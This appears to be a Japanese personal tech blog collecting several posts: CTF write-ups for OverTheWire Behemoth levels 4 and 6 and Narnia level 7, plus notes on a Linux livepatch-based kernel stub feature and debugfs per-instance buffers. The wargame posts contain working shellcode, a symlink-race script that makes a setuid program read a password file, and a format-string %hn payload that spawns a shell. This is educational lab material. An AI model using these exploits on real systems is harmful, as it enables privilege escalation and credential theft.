behemoth6めも

overthewireのbehemothのレベル6をクリアできたのでメモしときます。

この問題は脆弱性を突くタイプではなくて、特定の条件を満たすとshellが起動してクリアとなる問題でした。 これは実行するプログラムは/behemoth/behemoth6で、内部的には/behemoth/behemoth6_readerも実行されます。

behemoth6のほうは最初にpopen(2)でbehemoth6_readerを実行します。このとき、popen(2)の2番目の引数は"r"を指定しています。 behemoth6_readerはshellcode.txtというファイルを読み出し、読んだデータをシェルコードとして実行します。behemoth6_readerをcで書いたらだいたいこんな感じのことをやるコードです。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define SHELL_TEXT "./shellcode.txt"

int main(int argc, char **argv)
{
        struct stat st;
        int ret;
        char *buf;
        FILE *fp;
        void (*f)(void);
        int i;

        ret = stat(SHELL_TEXT, &st);
        if (ret) {
                perror("stat");
                exit(-1);
        }

        printf("[*] shellcode size is %d bytes\n", st.st_size);

        buf = malloc(st.st_size);
        if (!buf) {
                perror("malloc");
                exit(-1);
        }

        fp = fopen(SHELL_TEXT, "rb");
        if (!fp) {
                perror("fopen");
                exit(-1);
        }

        fread(buf, st.st_size, 1, fp);

        fclose(fp);

        printf("[*] run shell\n");
        f = (void (*)(void))buf;
        f();

        return 0;
}

そして、behemoth6のほうはbehemoth6_readerからの出力を受け取ってstrcmp()でその文字列と期待値のチェックをしています。そして、シェルコードの出力と期待値が合えばexecl(3)で/bin/shを実行してくれます。そうするとbehemoth7ユーザーの権限でシェルが使えるので/etc/behemoth_pass/behemoth7が読めるというからくりです。なので、ここで使用するシェルコードはシェルを起動するコードではなくて、文字列を表示するシェルコードが必要になります。

今回は以下のシェルコードの元ネタをまず作りました。コンパイルgcc -nostdlib -m32 hello_kitty.sです。1ラベルにジャンプした後にcall命令で_helloに行くとpop命令で文字列のアドレスを取れます。これでwrite(2)に渡す文字列のアドレスを設定しています。

.code32

.text
.globl _start
_start:
        jmp 1f

_hello:
        xor %eax, %eax
        xor %ebx, %ebx
        xor %edx, %edx
        mov $0x04, %al
        mov $0x01, %bl
        mov $0x0a, %dl
        pop %ecx
        int $0x80

        mov $0x01, %al
        mov $0x00, %bl
        int $0x80

1:
        call _hello
        .ascii "HelloKitty\0"

あとはシェルコードの動作確認用コード。

#include <stdio.h>

/*
hello_kitty.s

.code32

.text
.globl _start
_start:
        jmp 1f

_hello:
        xor %eax, %eax
        xor %ebx, %ebx
        xor %edx, %edx
        mov $0x04, %al
        mov $0x01, %bl
        mov $0x0a, %dl
        pop %ecx
        int $0x80

        mov $0x01, %al
        mov $0x00, %bl
        int $0x80

1:
        call _hello
        .ascii "HelloKitty\0"



test:     file format elf32-i386


# objdump
Disassembly of section .text:

08048098 <_start>:
 8048098:       eb 15                   jmp    80480af <_hello+0x15>

0804809a <_hello>:
 804809a:       31 c0                   xor    %eax,%eax
 804809c:       31 db                   xor    %ebx,%ebx
 804809e:       31 d2                   xor    %edx,%edx
 80480a0:       b0 04                   mov    $0x4,%al
 80480a2:       b3 01                   mov    $0x1,%bl
 80480a4:       b2 0a                   mov    $0xa,%dl
 80480a6:       59                      pop    %ecx
 80480a7:       cd 80                   int    $0x80
 80480a9:       b0 01                   mov    $0x1,%al
 80480ab:       b3 00                   mov    $0x0,%bl
 80480ad:       cd 80                   int    $0x80
 80480af:       e8 e6 ff ff ff          call   804809a <_hello>
 80480b4:       48                      dec    %eax
 80480b5:       65 6c                   gs insb (%dx),%es:(%edi)
 80480b7:       6c                      insb   (%dx),%es:(%edi)
 80480b8:       6f                      outsl  %ds:(%esi),(%dx)
 80480b9:       4b                      dec    %ebx
 80480ba:       69                      .byte 0x69
 80480bb:       74 74                   je     8048131 <_hello+0x97>
 80480bd:       79 00                   jns    80480bf <_hello+0x25>
*/

char shellcode[] = "\xeb\x15"
"\x31\xc0"
"\x31\xdb"
"\x31\xd2"
"\xb0\x04"
"\xb3\x01"
"\xb2\x0a"
"\x59"
"\xcd\x80"
"\xb0\x01"
"\xb3\x00"
"\xcd\x80"
"\xe8\xe6\xff\xff\xff"
"HelloKitty\0";

int main(int argc, char **argv)
{
        void (*f)(void) = (void (*)(void)) shellcode;
        f();

        return 0;
}

それと、シェルコードをファイルに書き出すpythonスクリプトです。最終的にはこれをサーバで実行してshellcode.txtを作ってます。

#!/usr/bin/env python2

shellcode = "\xeb\x15\x31\xc0\x31\xdb\x31\xd2"
shellcode += "\xb0\x04\xb3\x01\xb2\x0a\x59\xcd\x80"
shellcode += "\xb0\x01\xb3\x00\xcd\x80"
shellcode += "\xe8\xe6\xff\xff\xff"
shellcode += "HelloKitty\0"

with open('shellcode.txt', 'wb') as f:
    f.write(shellcode)

print('[*] Done.')

このスクリプトを動かすとこのようになってクリアとなります(∩´∀`)∩ワーイ

behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ ./shell.py
[*] Done.
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ id
uid=13006(behemoth6) gid=13006(behemoth6) groups=13006(behemoth6)
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ /behemoth/behemoth6
Incorrect output.
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ chmod 777 /tmp/tmp.nDpCHusXQC
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ /behemoth/behemoth6
Correct.
$ id
uid=13006(behemoth6) gid=13006(behemoth6) euid=13007(behemoth7) groups=13007(behemoth7),13006(behemoth6)
$

まんがでわかるLinux シス管系女子 2(日経BP Next ICT選書)

まんがでわかるLinux シス管系女子 2(日経BP Next ICT選書)

シンボリックリンク攻撃めも

最近遊んでいるOverTheWireBehemothのレベル4がシンボリックリンク攻撃だったのでその攻略めもです。

behemothの問題はソースコードは公開されてないので見れるのはバイナリだけです。で、gdbでdisas mainしたときの表示がこちら。

Dump of assembler code for function main:
   0x080485dd <+0>:     push   ebp
   0x080485de <+1>:     mov    ebp,esp
   0x080485e0 <+3>:     and    esp,0xfffffff0
   0x080485e3 <+6>:     sub    esp,0x40
   0x080485e6 <+9>:     mov    eax,gs:0x14
   0x080485ec <+15>:    mov    DWORD PTR [esp+0x3c],eax
   0x080485f0 <+19>:    xor    eax,eax
   0x080485f2 <+21>:    call   0x8048460 <getpid@plt>
   0x080485f7 <+26>:    mov    DWORD PTR [esp+0x1c],eax
   0x080485fb <+30>:    mov    eax,DWORD PTR [esp+0x1c]
   0x080485ff <+34>:    mov    DWORD PTR [esp+0x8],eax
   0x08048603 <+38>:    mov    DWORD PTR [esp+0x4],0x8048740
   0x0804860b <+46>:    lea    eax,[esp+0x28]
   0x0804860f <+50>:    mov    DWORD PTR [esp],eax
   0x08048612 <+53>:    call   0x80484d0 <sprintf@plt>
   0x08048617 <+58>:    mov    DWORD PTR [esp+0x4],0x8048748
   0x0804861f <+66>:    lea    eax,[esp+0x28]
   0x08048623 <+70>:    mov    DWORD PTR [esp],eax
   0x08048626 <+73>:    call   0x80484a0 <fopen@plt>
   0x0804862b <+78>:    mov    DWORD PTR [esp+0x20],eax
   0x0804862f <+82>:    cmp    DWORD PTR [esp+0x20],0x0
   0x08048634 <+87>:    jne    0x8048644 <main+103>
   0x08048636 <+89>:    mov    DWORD PTR [esp],0x804874a
   0x0804863d <+96>:    call   0x8048470 <puts@plt>
   0x08048642 <+101>:   jmp    0x804868d <main+176>
   0x08048644 <+103>:   mov    DWORD PTR [esp],0x1
   0x0804864b <+110>:   call   0x8048440 <sleep@plt>
   0x08048650 <+115>:   mov    DWORD PTR [esp],0x8048759
   0x08048657 <+122>:   call   0x8048470 <puts@plt>
   0x0804865c <+127>:   jmp    0x804866a <main+141>
   0x0804865e <+129>:   mov    eax,DWORD PTR [esp+0x24]
   0x08048662 <+133>:   mov    DWORD PTR [esp],eax
   0x08048665 <+136>:   call   0x80484b0 <putchar@plt>
   0x0804866a <+141>:   mov    eax,DWORD PTR [esp+0x20]
   0x0804866e <+145>:   mov    DWORD PTR [esp],eax
   0x08048671 <+148>:   call   0x80484c0 <fgetc@plt>
   0x08048676 <+153>:   mov    DWORD PTR [esp+0x24],eax
   0x0804867a <+157>:   cmp    DWORD PTR [esp+0x24],0xffffffff
   0x0804867f <+162>:   jne    0x804865e <main+129>
   0x08048681 <+164>:   mov    eax,DWORD PTR [esp+0x20]
   0x08048685 <+168>:   mov    DWORD PTR [esp],eax
   0x08048688 <+171>:   call   0x8048430 <fclose@plt>
   0x0804868d <+176>:   mov    eax,0x0
   0x08048692 <+181>:   mov    edx,DWORD PTR [esp+0x3c]
   0x08048696 <+185>:   xor    edx,DWORD PTR gs:0x14
   0x0804869d <+192>:   je     0x80486a4 <main+199>
   0x0804869f <+194>:   call   0x8048450 <__stack_chk_fail@plt>
   0x080486a4 <+199>:   leave
   0x080486a5 <+200>:   ret
End of assembler dump.

処理自体はmain()で完結してます。このプログラムは最初にgetpid(2)で自身のPIDを取得します。そしてsprintf(3)で以下のような形でファイル名を作成してます。

    sprintf(buf, "/tmp/%d", pid)

そして、fopen(3)でこのファイルを読みこみで開きます。もし、ファイルが無ければ、エラーメッセージを出して終了します。 ファイルが有った場合はfgetc(3)で開いたファイルから1byte読み込んで、読み込んだデータをputchar(2)で出力します。 なので、/tmp/${pid}が存在すれば、そのデータを出力できるですね。ここで読み込みたいファイルは次の問題へアクセするためのパスワードが書いてある/etc/behemoth_pass/behemoth5です。

behemoth4はsetuidされたバイナリなので/etc/behemoth_pass/behemoth5を読むことはできます。ログインしているユーザはbehemoth4なので/etc/behemoth_pass/behemoth5を直接読みことはできません。 で、どうするかというところでシンボリックリンクが出てきて、/tmp/${pid}が/etc/behemoth_pass/behemoth5を参照するようになっていればプログラムのbehemoth4はパスワードのファイルを読めます。

よって、この問題はpidさえ分かれば解決できます。じゃあ、pidをどうやって知るかとろころで、適当にコマンド動かしてそのpidからブルートフォースで/tmp/の下にシンボリックリンクのファイルを作るとか、適当なpidを選んで(1234とか)そのpidになるまで延々と実行するとかもあるんですが、めんどくさいのでpythonスクリプトでpopenでプロセス起動すればpidがわかるのでそこでシンボリックリンクを作ってしまいます。

#!/usr/bin/env python2

from subprocess import Popen
import os

target = '/behemoth/behemoth4'

pass_file = '/etc/behemoth_pass/behemoth5'

p = Popen([target])

print("[*] target %s's pid is %d" % (target, p.pid))

fake_file = '/tmp/%d' % (p.pid)

print('[*] create fake file %s' % fake_file)
os.symlink(pass_file, fake_file)

p.wait

print('[*] Done')

そして、これを実行するとこんな感じで、*********のところが実際のパスワードとして表示されてレベル4クリアとなりますヽ(=´▽`=)ノ

behemoth4@melinda:/tmp/tmp.4LWzmg6qKA$ ./poc.py
[*] target /behemoth/behemoth4's pid is 12523
[*] create fake file /tmp/12523
[*] Done
behemoth4@melinda:/tmp/tmp.4LWzmg6qKA$ Finished sleeping, fgetcing
*********

Raspberry Piではじめるおうちハック ~ラズパイとIoTでつくる未来の住まい~

Raspberry Piではじめるおうちハック ~ラズパイとIoTでつくる未来の住まい~

Linuxカーネルのライブパッチを使ってテスト用のstubを作る

この記事はLinux Advent Calendar 2016の1日目の記事です。 テストする時にstubって便利ですよね。最近はnodejsで仕事のコードを書いているのでsinon便利だなとか思ってます。じゃあ、Linuxカーネルでもstub作れたら便利だよねという思うわけです。そうすると、我々にはlivepatchという機能があります。 というわけで、Linuxカーネルのlivepatchを使ってstubを作れるようにしてみようと思ったのが今回の記事のネタです。

今回のコードはLinux 4.9.0-rc4で動かしています。 stub機能の前提としてlivepacthを使うのでstubのコードはlivepatch方式でカーネルモジュールとして作成します。どんな関数をどのようにstubするかはカーネルモジュールで決めるので、ここは使う人の自由となります。カーネル側はstubをするための機能を実装する形です。

差分はこのようになってます。bc33b0〜はLinux 4.9-rc4をリリースした時のコミットです。

masami@kerntest:~/linux-kernel (kstub=)$ git diff --stat bc33b0ca11e3df467777a4fa7639ba488c9d4911
 arch/s390/include/asm/livepatch.h |   5 ++++
 arch/x86/include/asm/livepatch.h  |   5 ++++
 include/linux/kstub.h             |  59 +++++++++++++++++++++++++++++++++++++++
 include/linux/livepatch.h         |   1 +
 init/main.c                       |   3 ++
 kernel/livepatch/core.c           |  20 +++++++++++++-
 lib/Kconfig.debug                 |   7 +++++
 lib/Makefile                      |   1 +
 lib/kstub.c                       | 261 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 samples/kstub/Makefile            |  17 ++++++++++++
 samples/kstub/kstub_test.c        |  74 +++++++++++++++++++++++++++++++++++++++++++++++++
 11 files changed, 452 insertions(+), 1 deletion(-)

この差分の内訳としては、stub機能を実現するためのコードがだいたいlib/にあり、stubする・しないを判定する処理を付けたかったのでlivepatch側にそれの対応を入れています。あとsample/にサンプルコードを置いてます。

stubする・しないの判定は以前に書いたlinux kernelのlivepatchにライブパッチを適用する・しないの判断機能を入れて遊ぶ - φ(・・*)ゞ ウーン カーネルとか弄ったりのメモからの流用です。

sampleディレクトリのコードをビルドして、例えばmoreコマンドの時にstubを適用するとこのようになります。

masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ sudo insmod ./kstub_test.ko target_name=more
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ cat /proc/version
Linux version 4.9.0-rc4-kstub+ (masami@kerntest) (gcc version 6.2.1 20160830 (GCC) ) #144 SMP Sat Nov 19 12:42:38 JST 2016
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ more /proc/version
linux version
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.9.0-rc4-kstub+ root=UUID=538fe610-066c-4939-9d33-18a80f7a28a0 rw quiet console=tty0 console=ttyS0,115200n8 crashkernel=128M
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ more /proc/cmdline
hello, world
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$

サンプルコードはこのようなコードです。stubの処理はlivepatchをラップしているのでlivepatchを直接使うよりはコードが短くなってると思います。

#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kstub.h>
#include <linux/seq_file.h>
#include <linux/string.h>
#include <linux/sched.h>

MODULE_DESCRIPTION("kstub test module");
MODULE_AUTHOR("masami256");
MODULE_LICENSE("GPL");

static char *target_name = NULL;
module_param(target_name, charp, S_IRUGO);
MODULE_PARM_DESC(target_name, "Target process name");

static struct kstub *kstub;

static int kstub_cmdline_proc_show(struct seq_file *m, void *v)
{
        seq_printf(m, "hello, world\n");
        return 0;
}

static int kstub_version_proc_show(struct seq_file *m, void *v)
{
        seq_printf(m, "linux version\n");
        return 0;
}

static bool kstub_need_patch_apply(void)
{
        return !strcmp(current->comm, target_name);
}

static struct kstub_stub_data stubs[] = {
        {
                .func_name = "cmdline_proc_show",
                .stub_func = kstub_cmdline_proc_show,
        },
        {
                .func_name = "version_proc_show",
                .stub_func = kstub_version_proc_show,
        },
        {}
};

static int kstub_test_init(void)
{
        if (!target_name) {
                pr_info("target name is required\n");
                return -EINVAL;
        }

        kstub = KSTUB_CREATE();
        if (IS_ERR(kstub))
                goto out;

        return kstub->ops.setup_stub(kstub, stubs, kstub_need_patch_apply);

out:
        return PTR_ERR(kstub);
}

static void kstub_test_cleanup(void)
{
        pr_info("%s\n", __func__);
}

module_init(kstub_test_init);
module_exit(kstub_test_cleanup);
MODULE_INFO(livepatch, "Y");

stub機能でstub(livepatchでパッチしてる関数)はdebugfsで見れるようにしています。start_kernel()で/sys/kernel/debugにkstubディレクトリを作成し、stub機能でstubをセットアップする時にカーネルモジュール名のディレクトリを作ってstubsというファイルでstubしている関数名を読めるようにしています。

[root@kerntest kstub]# cat /sys/kernel/debug/kstub/kstub_test/stubs
cmdline_proc_show
version_proc_show
[root@kerntest kstub]#

コードはgithubにあります。

github.com

差分はこちらからも見れます。

Comparing torvalds:master...masami256:kstub · torvalds/linux · GitHub

TODOとしてはエラー処理が適当を修正したいとか、stubをenable/disable切り替えたいとかありあす。

現段階での最新になる4.9.0-rc7でも動きます。

masami@kerntest:~/linux-kernel/samples/kstub (kstub>)$ cat /proc/version
Linux version 4.9.0-rc7-kstub+ (masami@kerntest) (gcc version 6.2.1 20160830 (GCC) ) #145 SMP Thu Dec 1 00:16:51 JST 2016
masami@kerntest:~/linux-kernel/samples/kstub (kstub>)$ more /proc/version
linux version

Happy Hacking 🍣🍣🍣

format string attackめも

最近CTFとか興味出てきたので色々と遊んでます。 今回はOverTheWire: Narniaのレベル7の問題(narnia7.c)を元にformat string attackのメモです。

narnia7の脆弱性のある関数はこれです。formatはmain関数においてはargv[1]で参照されていたもので、ユーザーからの入力がそのままsnprintf(3)に渡ります。

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

この問題はポインタ変数ptrfが最初はgoodfunction関数のアドレスを指しているので、hackedfunction関数のアドレスに書き換えると解決になります。hackedfunction関数はなかでsystem("/bin/sh")を実行するので、次の問題が書かれているパスワードファイルを読めるようになります。narnia7バイナリの所有者はnarnia8でパーミッションが4755なのでshellが立ち上がれば見れるって感じです。

32bitのバイナリを動かす環境があれば手元でも動かせられるので、仮想環境のarch linuxをmultilib有効にしてそこで試してます。もちろん、最後はoverthewireのサーバで実行してますが。コンパイルオプションには-fno-stack-protectorを付けてます。あとカーネルのASLRもオフにしてます。

まず、普通に実行するとこんな結果になります。書き換えるべきポインタのアドレスも表示してくれます。

masami@aur-dev:~$ ./narnia7 AAAA
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9fc)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
masami@aur-dev:~$

これをgdbで動かします。まずvulnの終了前にブレークポイントを張ります。

masami@aur-dev:~$ gdb ./narnia7
Reading symbols from ./narnia7...(no debugging symbols found)...done.
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x080485db <+0>:     push   %ebp
   0x080485dc <+1>:     mov    %esp,%ebp
   0x080485de <+3>:     sub    $0x98,%esp
   0x080485e4 <+9>:     sub    $0x4,%esp
   0x080485e7 <+12>:    push   $0x80
   0x080485ec <+17>:    push   $0x0
   0x080485ee <+19>:    lea    -0x88(%ebp),%eax
   0x080485f4 <+25>:    push   %eax
   0x080485f5 <+26>:    call   0x80484b0 <memset@plt>
   0x080485fa <+31>:    add    $0x10,%esp
   0x080485fd <+34>:    sub    $0x8,%esp
   0x08048600 <+37>:    push   $0x80486f5
   0x08048605 <+42>:    push   $0x80487f0
   0x0804860a <+47>:    call   0x8048430 <printf@plt>
   0x0804860f <+52>:    add    $0x10,%esp
   0x08048612 <+55>:    sub    $0x8,%esp
   0x08048615 <+58>:    push   $0x8048723
   0x0804861a <+63>:    push   $0x8048805
   0x0804861f <+68>:    call   0x8048430 <printf@plt>
   0x08048624 <+73>:    add    $0x10,%esp
   0x08048627 <+76>:    movl   $0x80486f5,-0x8c(%ebp)
   0x08048631 <+86>:    mov    -0x8c(%ebp),%eax
   0x08048637 <+92>:    sub    $0x4,%esp
   0x0804863a <+95>:    lea    -0x8c(%ebp),%edx
   0x08048640 <+101>:   push   %edx
   0x08048641 <+102>:   push   %eax
   0x08048642 <+103>:   push   $0x804881d
   0x08048647 <+108>:   call   0x8048430 <printf@plt>
   0x0804864c <+113>:   add    $0x10,%esp
   0x0804864f <+116>:   sub    $0xc,%esp
   0x08048652 <+119>:   push   $0x8048838
   0x08048657 <+124>:   call   0x8048460 <puts@plt>
   0x0804865c <+129>:   add    $0x10,%esp
   0x0804865f <+132>:   sub    $0xc,%esp
   0x08048662 <+135>:   push   $0x2
   0x08048664 <+137>:   call   0x8048450 <sleep@plt>
   0x08048669 <+142>:   add    $0x10,%esp
   0x0804866c <+145>:   movl   $0x80486f5,-0x8c(%ebp)
   0x08048676 <+155>:   sub    $0x4,%esp
   0x08048679 <+158>:   pushl  0x8(%ebp)
   0x0804867c <+161>:   push   $0x80
   0x08048681 <+166>:   lea    -0x88(%ebp),%eax
   0x08048687 <+172>:   push   %eax
   0x08048688 <+173>:   call   0x80484c0 <snprintf@plt>
   0x0804868d <+178>:   add    $0x10,%esp
   0x08048690 <+181>:   mov    -0x8c(%ebp),%eax
   0x08048696 <+187>:   call   *%eax
   0x08048698 <+189>:   leave
   0x08048699 <+190>:   ret
End of assembler dump.
gdb-peda$ b *0x08048698
Breakpoint 1 at 0x8048698

そしたら実行します。

gdb-peda$ r AAAABBBB
Starting program: /home/masami/narnia7 AAAABBBB
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9cc)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
 [----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fc8850 --> 0x0
EDX: 0x0
ESI: 0x2
EDI: 0xf7fc7000 --> 0x1b4d90
EBP: 0xffffda58 --> 0xffffda78 --> 0x0
ESP: 0xffffd9c0 --> 0xffffda80 --> 0x2
EIP: 0x8048698 (<vuln+189>:     leave)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804868d <vuln+178>:        add    $0x10,%esp
   0x8048690 <vuln+181>:        mov    -0x8c(%ebp),%eax
   0x8048696 <vuln+187>:        call   *%eax
=> 0x8048698 <vuln+189>:        leave
   0x8048699 <vuln+190>:        ret
   0x804869a <main>:    lea    0x4(%esp),%ecx
   0x804869e <main+4>:  and    $0xfffffff0,%esp
   0x80486a1 <main+7>:  pushl  -0x4(%ecx)
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xffffda80 --> 0x2
0004| 0xffffd9c4 --> 0xf7fe39ab (<_dl_lookup_symbol_x+235>:     add    $0x30,%esp)
0008| 0xffffd9c8 --> 0x8048258 --> 0x55 ('U')
0012| 0xffffd9cc --> 0x80486f5 (<goodfunction>: push   %ebp)
0016| 0xffffd9d0 ("AAAABBBB")
0020| 0xffffd9d4 ("BBBB")
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048698 in vuln ()

そしてスタックの内容を表示します。

gdb-peda$ x/100x $esp-100
0xffffd95c:     0xf7fc5940      0xf7fc7d40      0xf7fc7000      0xffffd998
0xffffd96c:     0xf7e70734      0xf7fc7d40      0x00000000      0x00000002
0xffffd97c:     0xf7fc7000      0xffffd9b8      0xf7feee40      0xf7e706eb
0xffffd98c:     0x00000000      0x00000002      0xf7fc7000      0xffffd9b8
0xffffd99c:     0x08048719      0xf7fc7d40      0xf7e5c056      0x00000000
0xffffd9ac:     0x0804868d      0xffffd9d0      0x00000080      0xffffda58
0xffffd9bc:     0x08048698      0xffffda80      0xf7fe39ab      0x08048258
0xffffd9cc:     0x080486f5      0x41414141      0x42424242      0x00000000
0xffffd9dc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9ec:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9fc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda0c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda1c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda2c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda3c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda4c:     0x00000000      0xffffffff      0xffffdb24      0xffffda78
0xffffda5c:     0x080486e9      0xffffdc93      0xffffdb24      0xffffdb30
0xffffda6c:     0x08048791      0xf7fc73bc      0xffffda90      0x00000000
0xffffda7c:     0xf7e2a196      0x00000002      0xf7fc7000      0x00000000
0xffffda8c:     0xf7e2a196      0x00000002      0xffffdb24      0xffffdb30
0xffffda9c:     0x00000000      0x00000000      0x00000000      0xf7fc7000
0xffffdaac:     0xf7ffdbe4      0xf7ffcfcc      0x00000000      0x00000002
0xffffdabc:     0xf7fc7000      0x00000000      0xe54c93be      0xdfbb1fae
0xffffdacc:     0x00000000      0x00000000      0x00000000      0x00000002
0xffffdadc:     0x080484e0      0x00000000      0xf7feee40      0xf7e2a0a9

0xffffd9d0のところから8バイトがbufferの内容でAAAABBBBですね。その前の0xffffd9ccはgoodfunction関数のアドレスを指してます。アドレス0xffffd9b0の内容が0xffffd9d0でbufferのアドレスを指してます。0xffffd9b0はbufferのサイズです。

で、ポインタの書き換えですがこれは%hnを使ってやります。ここの指定方法はGray Hat Hacking The Ethical Hacker's Handbook, Fourth Editionにある計算方法を使います。

f:id:masami256:20161124233630p:plain

まず、 書き込みたいポインタのアドレスは0xffffd9fcなので、[addr+2][addr]の部分はこうなります。

"\xde\xd9\xff\xff\xdc\xd9\xff\xff"

次は、最初の%hnに使うパラメータの設定で、書き込みたいアドレスはhackedfunction()のアドレスなのでHOBは0x0804、LOBは0x8723になります。そうするとHOB < LOBなのでHOB-8を行って、結果は0x7fx。10進数になおして%.2044xになります。 次は%[offset]$hnでここは、0xffffd9bcからのbufferまでのoffsetで6(words)となって%6\$hn。 次に残りの16bit分で、HOB < LOBなので、%[LOB - HOB]xだから0x7f1fで、%.32543xとなります。最後は%[offset+1]$hnだから6+1で7となって%7\$hn。 最後にこれまでの結果をまとめると、こうなります。

$(printf "\xde\xd9\xff\xff\xdc\xd9\xff\xff")%.2044x%6\$hn%.32543x%7\$hn

で、最後にこれで実行するとshellが立ち上がりますヽ(=´▽`=)ノ

masami@aur-dev:~$ ./narnia7 $(printf "\xde\xd9\xff\xff\xdc\xd9\xff\xff")%.2044x%6\$hn%.32543x%7\$hn
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9dc)
I guess you want to come to the hackedfunction...
Way to go!!!!sh-4.4$S

Gray Hat Hacking The Ethical Hacker's Handbook, Fourth Edition

Gray Hat Hacking The Ethical Hacker's Handbook, Fourth Edition

作成したファイル(struct dentry *)の読み書き用バッファをプロセス等固有に持たせるめも

たとえば、debugfsのディレクトリとファイルをプロセス毎に作って、ファイルの中身はプロセスごとに変えたいってことをしたい場合にどうするかというメモです。

foobarという機能がdebugfsのルートディレクトリにディレクトリを作成して、piyoというプロセスはfoobar/piyo、poyoならfoobar/poyoとディレクトリができます。で、ファイルはfileという名前で固定されているけど、内容は個々に違う感じです。

/sys/kernel/debugfs/foobar --- /piyo/file
                           |-- /poyo/file

piyo/、poyo/は任意のタイミングで作成できて、foobarはstart_main()の時に初期化の関数を呼んで作るものとします。

foobar用に1つだけファイルを作成するならバッファは一つで良いのでファイルのdentryはこんな感じで作れます。

// ファイルの読み書き操作の関数設定
static struct file_operations foobar_file_fops = {
    .read = fooabr_file_read,
    .write = foobar_file_write,
};

// /sys/kernel/debugfs/foobarのdentry
static struct dentry *foobar_dir;

// fileの読み書き用バッファ
static char file_buf[64];

// どこかの関数でファイルの作成
foobar_file = debugfs_create_file("file", 0644, foobar_dir, file_buf, &foobar_file_fops);

今回やりたいのは、file_bufをstaticにしないで、プロセスとかインスタンスごとに変えるってことです。

ファイルの読み書き時にはfile構造体は受け取れます。なので、ここから固有のデータにアクセスするのが良いですね。

ssize_t foobar_file_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos);
ssize_t foobar_file_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos);

この時にfile構造体からfile_dentry()を使ってdentry構造体を取得できるんですが、ここでcontainer_ofマクロを使ってもポインタが違うので、正しいデータの取得ができません。よって、別の手段を取る必要があります。

で、ここで使えるのがinode構造体のi_private変数です。この変数にデータを入れるのってNamespacesのnsfs.cでも使ってる方法です。file構造体からinodeの取得はfile_inode()でできます。

今作りかけのやつですけど、実際に書くとこんな感じになります。

struct kstub {
    const char *old_name;
    struct module *module;

    struct klp_func funcs[2];
    struct klp_object objs[2];
    struct klp_patch patch;
    
    struct dentry *this_stub_dir;
    struct dentry *cmd_file;
    char cmd_file_buf[32];
};

static struct dentry *kstub_debugfs_dir;

static inline struct kstub *kstub_get_kstub_from_file(struct file *filp)
{
    return file_inode(filp)->i_private;
}

static ssize_t kstub_cmd_file_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos)
{
    struct kstub *kstub = kstub_get_kstub_from_file(filp);

    return simple_read_from_buffer(buf, len, ppos, kstub->cmd_file_buf, sizeof(kstub->cmd_file_buf));
}

static ssize_t kstub_cmd_file_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
{
    struct kstub *kstub = kstub_get_kstub_from_file(filp);
    int copy_len = len >= sizeof(kstub->cmd_file_buf) ? sizeof(kstub->cmd_file_buf) : len;

    memset(kstub->cmd_file_buf, 0x0, sizeof(kstub->cmd_file_buf));
    return simple_write_to_buffer(kstub->cmd_file_buf, copy_len, ppos, buf, len);
}

static struct file_operations kstub_cmd_file_fops = {
    .read = kstub_cmd_file_read,
    .write = kstub_cmd_file_write,
};

static int kstub_create_cmd_file(struct kstub *kstub) 
{
    int err = 0;

    kstub_cmd_file_fops.owner = kstub->module;
    kstub->cmd_file = debugfs_create_file(KSTUB_DEBUG_CMD_FILE, 0644, kstub->this_stub_dir, kstub->cmd_file_buf, &kstub_cmd_file_fops);
    
    err = kstub_check_debugfs_ops_result(kstub->cmd_file);
    if (err) 
        return err;

    kstub->cmd_file->d_inode->i_private = kstub;

    return err;
}

